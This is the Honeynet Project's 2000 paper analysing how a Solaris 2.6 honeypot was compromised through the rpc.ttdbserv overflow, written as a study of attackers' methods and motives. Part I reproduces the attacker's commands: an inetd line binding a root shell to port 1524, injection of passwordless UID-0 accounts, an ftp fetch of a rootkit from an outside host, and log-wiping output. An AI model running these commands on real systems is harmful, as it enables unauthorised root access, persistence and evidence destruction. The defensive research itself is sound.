The Motives and Psychology of the Black-hat Community
Know Your Enemy: Motives

Written by the Honeynet Project
Last Modified: 27 June, 2000

This paper is a continuation of the Know Your Enemy series. This series is dedicated to learning the tools and tactics of the black-hat community. Unlike the previous papers which focused purely on the "what" and "how" of the black-hat community, specifically the technical tools, their use and implementation, this paper explores the motivation and psychology of the black-hat community, in their very own words. Part I starts with the compromise of a Solaris 2.6 system. Part II provides information rarely published, a record of conversations and actions which took place over a fourteen-day period following the compromise of a honeypot system. Learn how and why black-hats attack systems. Once the Solaris 2.6 system was compromised, the black-hat put an IRC bot on our system.  This bot, configured and implemented by the black-hat, captured all their conversations on an IRC channel.  We monitored these conversations over a two week period, all of which are contained here.  This paper is not meant to be a generalization of the black-hat community. Instead, we present a specific incident involving several individuals. However, this should give you an idea of how certain members can think and behave. This is a common threat that we all face in the security community, and we sincerely hope other security professionals benefit from this work.

This information was obtained through the use of a honeynet. A honeynet is a network of various honeypots, designed to be compromised by the black-hat community. While some honeypots are used to divert the attention of attackers from legitimate systems, the purpose of a honeynet is to learn the tools and tactics of the black-hat community. Most of the information provided in this document has been sanitized.  Specifically, user identities and passwords, credit card numbers, and most of the system names involved have all been changed. However, the actual technical tools and the chat sessions themselves have not been sanitized. All this information was forwarded to both CERT and the FBI before being released.   Also, over 370 notifications were sent out to administrators of systems we believed were compromised.

Foreword, by Brad Powell

Part I: The Compromise
A Solaris 2.6 default installation was used for our honeypot. No modifications or patches were installed on the system. The vulnerabilities discussed here exist in any default, unpatched installation of Solaris 2.6. That is the whole purpose of the honeynet, to identify vulnerabilities in production systems and learn how they are exploited. When exploited, we can then learn the tools and tactics of the black-hat community. The honeynet itself is an environment designed to track the black-hat's every move.

On June 4, 2000 our Solaris 2.6 honeypot was compromised with the rpc.ttdbserv Solaris exploit, which allows the execution of code via a buffer overflow in the ToolTalk object database server (CVE-1999-0003). Note that this exploit is also listed as #3 in SANS Top Ten List. This attack was both detected and alerted by snort, a sniffer based IDS system.

Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

The rpc.ttdbserv exploit is a buffer overflow attack that allows the remote user to execute commands on the system as root. The following command was executed, giving the black-hat a backdoor. The service ingreslock (predefined in /etc/services as port 1524) is added to a file called '/tmp/bob', and then inetd is executed with '/tmp/bob' as the configuration file. /bin/sh is then bound to port 1524 and is running as root, giving the remote user root access.

/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.

Once the black-hat created this backdoor, he connected to port 1524, accessed a shell as root, and executed the following commands.  He creates two user accounts, so he can telnet back in.  Notice the errors and control characters, the shell on port 1524 does not have a proper environment.

# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides     console      May 24 21:09
^M: not found
# exit;

Our black-hat now has two accounts on our compromised system.  He can now telnet it as the user 're', then su to the user 'r', which has UID 0, thus gaining root access.  We will now review the actual keystrokes of the black-hat as they do just that, and more.

 !"' !"P#$#$'LINUX'

SunOS 5.6

login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc.   SunOS 5.6       Generic August 1997
$ su r

Our black-hat now has root access.  As common, the next step is retrieve the rootkit and take control of the system .  First, we see the black-hat create a 'hidden' directory to hide the rootkit.

# mkdir /dev/".. "
# cd /dev/".. "

After creating the directory, the black-hat retrieves the rootkit from another system.

# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

Once the rootkit is successfully downloaded, the kit is untared and installed.  Notice how the entire rootkit is installed by executing a single script, setup.sh. This script also calls another script, secure.sh. You can download the entire Solaris rootkit used in this attack here.

# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

Here the rootkit installation script first cleans out the log files to delete the information associated with the black-hat's activities.

- WTMP:
/var/adm/wtmp is Sun Jun  4 11:47:39 2000
/usr/adm/wtmp is Sun Jun  4 11:47:39 2000
/etc/wtmp is Sun Jun  4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun  4 11:47:39 2000
/usr/adm/utmp is Sun Jun  4 11:47:39 2000
/etc/utmp is Sun Jun  4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun  4 11:47:39 2000
/usr/adm/lastlog is Sun Jun  4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun  4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun  4 11:47:39 2000
/etc/wtmpx is Sun Jun  4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun  4 11:47:39 2000
/usr/adm/utmpx is Sun Jun  4 11:47:39 2000
/etc/utmpx is Sun Jun  4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

After cleaning the log files, the next step is to secure our system (how nice of them).  They know we are an easy kill and they do not want anyone else to ruin their compromised system.

./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
   207 ?        0:00 inetd
 11467 ?        0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

Next, an IRC proxy is launched.  What is bizarre is that later on the script kills this process.  I have no idea why.

Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
    Daemon port......:9879
    Maxusers.........:0
    Default conn port:6667
    Pid File.........:./pid.sys222
    Vhost Default....:-SYSTEM DEFAULT-
    Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.

More file modifications are done.  Not seen from the script output are the copying of Trojan binaries, including /bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps.  I highly recommend you review the source of the setup.sh script and the secure.sh script to see what actually happens.  One day you may have to review a system that has been rooted with a similar kit.

# kill -9 11467
# ps -u root |grep |grep inetd inetd
   207 ?        0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep  grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
        [ -u userlist ] [ -U userlist ] [ -G grouplist ]
        [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
  'format' is one or more of:
        user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
        pri opri pcpu pmem vsz rss osz nice class time etime stime
        f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

Last, our black-hat launches an IRC bot.  The purpose of this bot is to ensure they will maintain ops on the IRC channel of their choice.  This bot also recorded all their conversations on the IRC channel.  It is this bot that they installed on our compromised system that relayed their IRC chats on our network.

# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

Once the bot was in place, they left the system alone. It is this bot that captured all of their conversations (see Part II below). For more information on IRC and how the black-hat community uses IRC and bots, we highly recommend the paper Tracking Hackers on IRC by David Brumley. Over the course of the following week they returned several times, only to confirm that they still had access. One week later, on 11 June, they connected again and attempted to use the system for Denial of Service attacks. However, the honeynet is designed to block any attempt to use a honeypot as a base of an attack against outside systems. All attempts to use the honeypot for a Denial of Service attack were automatically blocked.

What we have witnessed here are commonly used tools and tactics of the black-hat community.  Our black-hat randomly scanned the Internet for a known vulnerability (in this case rpc.ttdbserv).  Once identified, they quickly compromised the system and installed a rootkit using commonly scripted tools.  Once they had control, they installed a bot, most likely to ensure they would maintain 'ops' on the IRC channels of their choice. What is uncommon are the two weeks of IRC chat sessions that their bot captured for us. In the next part of this paper, we discover the motivations and psychology of the black-hat community, in their own words. If you are concerned that your system(s) may have been compromised by similar means, review this checklist. It covers what to check for and links on how to react to a system compromise.

Part II: The IRC Chat Sessions
Below are the actual chat sessions of the black-hat community, specifically two individuals whom we will call D1ck and J4n3. Most of their chats will happen on the IRC channel we will call K1dd13. You will read the activities of these two main characters, and a variety of others.  The chat sessions are broken down by days, listed below.  We recommend you read them in sequence, so you can better understand what is going on.  IRC channels, IRC nicks, system names and IP addresses have been sanitized. All system IP addresses have been replaced with RFC 1918 address space, all system domain names have been replaced with 'example', and all credit card numbers have been placed by 'xxxx'. Any similarities the IRC channels or IRC nicks may have with the real world are purely coincidental. Be advised, some of the language used is abusive in nature, we have chosen not to sanitize this.  Also, sometimes several of the black-hats will speak foreign languages. Where possible, we have translated this into English. As you read these chat sessions, take into consideration their lack of skill and networking knowledge. Often you will see them attempting to figure out the most fundamental of Unix skills. And yet, they are still able to compromise or damage a large number of systems. This is not a threat to take lightly.
 

We have just reviewed 14 days in the life of the black-hat community. This is not meant to imply that all black-hats think and act like this. In fact, we have focused only on a few specific individuals. However, we hope this information gives you an idea of what many of the community are capable of. They may not be technically competent, or even understand the tools they are using. However by focusing on a large number of systems, they can achieve dramatic results. This is not a threat to take lightly. They are not concerned about what harm they may cause. They focus only on achieving their goals.

Conclusion
The purpose of this paper is to give you an understanding of the motives and psychology of the black-hat community. The paper started off with the system compromise of a Solaris 2.6 honeypot. It demonstrated a commonly used remote exploit of a vulnerable system. Once compromised, the system was quickly controlled with a rootkit, another commonly used tool among the black-hat community. However, what makes this paper unique is the look you get into the black-hat mentality. Here, you saw in their very own words how they think and act, particularly how they can indiscriminately attack and damage systems. They randomly probe large numbers of systems and attack the weakest systems they can find. By understanding their motives and methods, you can better protect your systems against this threat.

Acknowledgments
This paper is the result of the work and research of the Honeynet Project. The Honeynet Project is a small group of security professionals dedicated to learning the tools and tactics of the black-hat community. Part of the groups charter is to share these lessons learned with the security community. This paper is the first of future works by this group. Members of the group include:

Anne Marie Tenholder, Technology Research - Hiverworld, Inc.
Brad Powell, Sun Microsystems GESS Global Security Team
Chris Brenton, Dartmouth ISTS
David Dittrich, Senior Security Engineer - University of Washington
Ed Skoudis - Global Integrity Corp.
Frank Heidt - @stake
Fyodor, Author of Nmap Security Scanner and Insecure.Org.
George Kurtz, CEO - Foundstone, Inc.
K2
JD Glaser, NT Security Team - Foundstone, Inc.
John McDonald, TUV / Dataprotect GmbH
Lance Spitzner, Sun Microsystems GESS Global Security Team.
Martin Roesch, Director of Forensic Systems, Hiverworld, Inc
Max Vision, creator of arachNIDS and whitehats.com.
Robin Wakefield, Sun Microsystems GESS Global Security Team
Roger Safian
Saumil Shah, Principal Consultant (and Honenynet Project translator)- Foundstone, Inc.
Stuart McClure, - Foundstone, Inc.
Tom Stracener, Technology Research, Hiverworld, Inc.
Vacuum, Technotronic.com

Also, I would like to thank Alan Paller of SANS. Though not a member of the Honeynet Project, he has helped me make this research a reality.


 
 
 

Whitepapers / Publications